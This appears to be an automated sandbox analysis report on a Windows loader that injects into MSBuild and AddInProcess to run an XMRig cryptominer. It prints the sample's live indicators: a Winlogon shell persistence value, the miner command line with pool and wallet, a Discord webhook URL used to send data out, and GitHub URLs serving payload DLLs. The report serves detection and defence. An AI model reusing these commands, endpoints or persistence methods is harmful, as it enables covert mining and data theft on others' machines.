xmrig | 752e7d326d94fefa12869bee8c54bfb197d193f151d72f936457a27bbd6b6877

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2023, 18:46 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.exe
Size

1.6MB
MD5

a44e526804469076d712e8a05ddd7759
SHA1

7010fda540e70139020a7a79730e74e99bd8e6c9
SHA256

46d7128963bde013c8ec359b285e47eabbf9c88e332735e02ced518773e8e95f
SHA512

04c40ef00c80d641c4f7bced8aefc180d695ea23ef79e272167f1a567484be2ab7031ca55a246cbeba1ed0c0ed93223fc2a33daed7f2048c62f169f0e6325b36
SSDEEP

49152:fBvdZG5o8InNXL9Qn0HpZjI64n2hcyfT2:pFZG5oNnRfh9

Score

10^/10

xmrig miner persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,\"C:\\Users\\Admin\\AppData\\Roaming\\Google\\Chrome.exe\","	Loader.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4276-146-0x0000000140344454-mapping.dmp	xmrig
behavioral2/memory/4276-145-0x0000000140000000-0x00000001407CA000-memory.dmp	xmrig
behavioral2/memory/4276-147-0x0000000140000000-0x00000001407CA000-memory.dmp	xmrig
behavioral2/memory/4276-148-0x0000000140000000-0x00000001407CA000-memory.dmp	xmrig
behavioral2/memory/4276-150-0x0000000140000000-0x00000001407CA000-memory.dmp	xmrig
behavioral2/memory/4276-152-0x0000000140000000-0x00000001407CA000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Loader.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3564 set thread context of 2296	3564	Loader.exe	84
PID 2296 set thread context of 4276	2296	MSBuild.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe
2296	MSBuild.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	3564	Loader.exe
Token: SeDebugPrivilege	2296	MSBuild.exe
Token: SeLockMemoryPrivilege	4276	AddInProcess.exe
Token: SeLockMemoryPrivilege	4276	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4276	AddInProcess.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 4996	3564	Loader.exe	80
PID 3564 wrote to memory of 4996	3564	Loader.exe	80
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 3564 wrote to memory of 2296	3564	Loader.exe	84
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91
PID 2296 wrote to memory of 4276	2296	MSBuild.exe	91

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAyAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RMHgF8iWWzutXCpbDgarftrSUoycmQgCqo.Worker_CPU -p x --cpu-max-threads-hint=50
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4276

Network

DNS

ptb.discord.com

Loader.exe

Remote address:

8.8.8.8:53

Request

ptb.discord.com

IN A

Response

ptb.discord.com

IN A

162.159.135.232

ptb.discord.com

IN A

162.159.137.232

ptb.discord.com

IN A

162.159.128.233

ptb.discord.com

IN A

162.159.138.232

ptb.discord.com

IN A

162.159.136.232
POST

https://ptb.discord.com/api/webhooks/1070807832355684404/_S6tQEFAEuvR3O7Nn3ucHe7XB3YMj_tAXnHLjti-fZbYupYsNNqHVYw8KPN8s3rT4luy

Loader.exe

Remote address:

162.159.135.232:443

Request

POST /api/webhooks/1070807832355684404/_S6tQEFAEuvR3O7Nn3ucHe7XB3YMj_tAXnHLjti-fZbYupYsNNqHVYw8KPN8s3rT4luy HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: ptb.discord.com
Content-Length: 202
Expect: 100-continue
Connection: Keep-Alive

Response

HTTP/1.1 204 No Content

Date: Fri, 03 Feb 2023 18:48:11 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __dcfduid=4ee4038ea3f311eda82522b34b66156a; Expires=Wed, 02-Feb-2028 18:48:11 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1675450092
x-ratelimit-reset-after: 1
Via: 1.1 google
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CxAwJp2cphfCQa2CAG2qfBxJuwBB75WdH%2FcH%2BAAmAvQ4StaVlbxEsCdQ1ZOfXIseRPZgbdJ%2BabREaw8lLQtREoBXb8s6iNmBZLy7NZRoATsJ92HvV0682md1H5yJdL0XZA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Set-Cookie: __sdcfduid=4ee4038ea3f311eda82522b34b66156a055302822893621b6313027b1db4bc301e5b0e809d5e26740a88247f101d2ef2; Expires=Wed, 02-Feb-2028 18:48:11 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/
Set-Cookie: __cfruid=1a9e75df4b691f6834851a95674e5d1f1b9a5f69-1675450091; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 793d56de8d02b8c1-AMS
DNS

github.com

MSBuild.exe

Remote address:

8.8.8.8:53

Request

github.com

IN A

Response

github.com

IN A

20.207.73.82
GET

https://github.com/test93872/demo5/raw/main/plugin_3.dll

MSBuild.exe

Remote address:

20.207.73.82:443

Request

GET /test93872/demo5/raw/main/plugin_3.dll HTTP/1.1
Host: github.com
Connection: Keep-Alive

Response

HTTP/1.1 302 Found

Server: GitHub.com
Date: Fri, 03 Feb 2023 18:47:16 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
Access-Control-Allow-Origin: https://render.githubusercontent.com
Location: https://raw.githubusercontent.com/test93872/demo5/main/plugin_3.dll
Cache-Control: no-cache
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer-when-downgrade
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Content-Length: 0
X-GitHub-Request-Id: C26E:6B32:2BD56F:3F08ED:63DD570D
GET

https://github.com/test93872/demo5/raw/main/plugin_4.dll

MSBuild.exe

Remote address:

20.207.73.82:443

Request

GET /test93872/demo5/raw/main/plugin_4.dll HTTP/1.1
Host: github.com

Response

HTTP/1.1 302 Found

Server: GitHub.com
Date: Fri, 03 Feb 2023 18:48:51 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
Access-Control-Allow-Origin: https://render.githubusercontent.com
Location: https://raw.githubusercontent.com/test93872/demo5/main/plugin_4.dll
Cache-Control: no-cache
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer-when-downgrade
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Content-Length: 0
X-GitHub-Request-Id: C26E:6B32:2BD5CF:3F099A:63DD5713
DNS

raw.githubusercontent.com

MSBuild.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.108.133

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.110.133

raw.githubusercontent.com

IN A

185.199.111.133
GET

https://raw.githubusercontent.com/test93872/demo5/main/plugin_3.dll

MSBuild.exe

Remote address:

185.199.108.133:443

Request

GET /test93872/demo5/main/plugin_3.dll HTTP/1.1
Host: raw.githubusercontent.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2372653
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: application/octet-stream
ETag: "988eccb86fa222930aee8203a6f29ad25b026c60ab99129b668cbd4e8ef39412"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: CE90:4761:21F1C:2A33A:63DD55A6
Accept-Ranges: bytes
Date: Fri, 03 Feb 2023 18:48:46 GMT
Via: 1.1 varnish
X-Served-By: cache-ams21048-AMS
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1675450126.040525,VS0,VE216
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
X-Fastly-Request-ID: 5a58f729fbfba710c4049cd0a7a7706d84f91028
Expires: Fri, 03 Feb 2023 18:53:46 GMT
Source-Age: 0
GET

https://raw.githubusercontent.com/test93872/demo5/main/plugin_4.dll

MSBuild.exe

Remote address:

185.199.108.133:443

Request

GET /test93872/demo5/main/plugin_4.dll HTTP/1.1
Host: raw.githubusercontent.com

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 37099
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: application/octet-stream
ETag: "58a747ff1a171f0565a8909ab8adcac7763e62a5011998ec5b3daed1956393f9"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: 692C:E376:E2DAAE:F21145:63DD55AC
Accept-Ranges: bytes
Date: Fri, 03 Feb 2023 18:48:52 GMT
Via: 1.1 varnish
X-Served-By: cache-ams21048-AMS
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1675450132.018902,VS0,VE141
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
X-Fastly-Request-ID: 0038635a8b09f871f04602fc00984309c7e8c082
Expires: Fri, 03 Feb 2023 18:53:52 GMT
Source-Age: 0
DNS

rx.unmineable.com

AddInProcess.exe

Remote address:

8.8.8.8:53

Request

rx.unmineable.com

IN A

Response

rx.unmineable.com

IN CNAME

rx.unminable.com

rx.unminable.com

IN CNAME

rx-asia.unminable.com

rx-asia.unminable.com

IN CNAME

rx-asia-sgp.unminable.com

rx-asia-sgp.unminable.com

IN A

178.128.51.168

13.78.111.198:443

322 B
7
8.238.110.126:80

322 B
7
162.159.135.232:443

https://ptb.discord.com/api/webhooks/1070807832355684404/_S6tQEFAEuvR3O7Nn3ucHe7XB3YMj_tAXnHLjti-fZbYupYsNNqHVYw8KPN8s3rT4luy

tls, http

Loader.exe

1.2kB
4.6kB
9
9

HTTP Request

POST https://ptb.discord.com/api/webhooks/1070807832355684404/_S6tQEFAEuvR3O7Nn3ucHe7XB3YMj_tAXnHLjti-fZbYupYsNNqHVYw8KPN8s3rT4luy

HTTP Response

204
88.221.25.155:80

322 B
7
88.221.25.155:80

322 B
7
8.238.110.126:80

322 B
7
163.123.142.203:44810

MSBuild.exe

442 B
592 B
7
6
8.247.211.254:80

322 B
7
204.79.197.203:80

322 B
7
20.207.73.82:443

https://github.com/test93872/demo5/raw/main/plugin_4.dll

tls, http

MSBuild.exe

981 B
8.2kB
11
11

HTTP Request

GET https://github.com/test93872/demo5/raw/main/plugin_3.dll

HTTP Response

302

HTTP Request

GET https://github.com/test93872/demo5/raw/main/plugin_4.dll

HTTP Response

302
185.199.108.133:443

https://raw.githubusercontent.com/test93872/demo5/main/plugin_4.dll

tls, http

MSBuild.exe

42.4kB
2.5MB
910
1796

HTTP Request

GET https://raw.githubusercontent.com/test93872/demo5/main/plugin_3.dll

HTTP Response

200

HTTP Request

GET https://raw.githubusercontent.com/test93872/demo5/main/plugin_4.dll

HTTP Response

200
178.128.51.168:3333

rx.unmineable.com

AddInProcess.exe

882 B
2.3kB
8
7

8.8.8.8:53

ptb.discord.com

dns

Loader.exe

61 B
141 B
1
1

DNS Request

ptb.discord.com

DNS Response

162.159.135.232

162.159.137.232

162.159.128.233

162.159.138.232

162.159.136.232
8.8.8.8:53

github.com

dns

MSBuild.exe

56 B
72 B
1
1

DNS Request

github.com

DNS Response

20.207.73.82
8.8.8.8:53

raw.githubusercontent.com

dns

MSBuild.exe

71 B
135 B
1
1

DNS Request

raw.githubusercontent.com

DNS Response

185.199.108.133

185.199.109.133

185.199.110.133

185.199.111.133
8.8.8.8:53

rx.unmineable.com

dns

AddInProcess.exe

63 B
154 B
1
1

DNS Request

rx.unmineable.com

DNS Response

178.128.51.168

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2296-140-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/2296-144-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/2296-143-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-142-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-132-0x0000023766B00000-0x0000023766CA2000-memory.dmp

Filesize
1.6MB

Download
memory/3564-137-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/3564-133-0x0000023767000000-0x0000023767022000-memory.dmp

Filesize
136KB

Download
memory/3564-134-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/4276-149-0x000001E666E00000-0x000001E666E20000-memory.dmp

Filesize
128KB

Download
memory/4276-148-0x0000000140000000-0x00000001407CA000-memory.dmp

Filesize
7.8MB

Download
memory/4276-154-0x000001E666E90000-0x000001E666EB0000-memory.dmp

Filesize
128KB

Download
memory/4276-153-0x000001E666E90000-0x000001E666EB0000-memory.dmp

Filesize
128KB

Download
memory/4276-145-0x0000000140000000-0x00000001407CA000-memory.dmp

Filesize
7.8MB

Download
memory/4276-147-0x0000000140000000-0x00000001407CA000-memory.dmp

Filesize
7.8MB

Download
memory/4276-152-0x0000000140000000-0x00000001407CA000-memory.dmp

Filesize
7.8MB

Download
memory/4276-151-0x000001E666E50000-0x000001E666E90000-memory.dmp

Filesize
256KB

Download
memory/4276-150-0x0000000140000000-0x00000001407CA000-memory.dmp

Filesize
7.8MB

Download
memory/4996-138-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-139-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-136-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.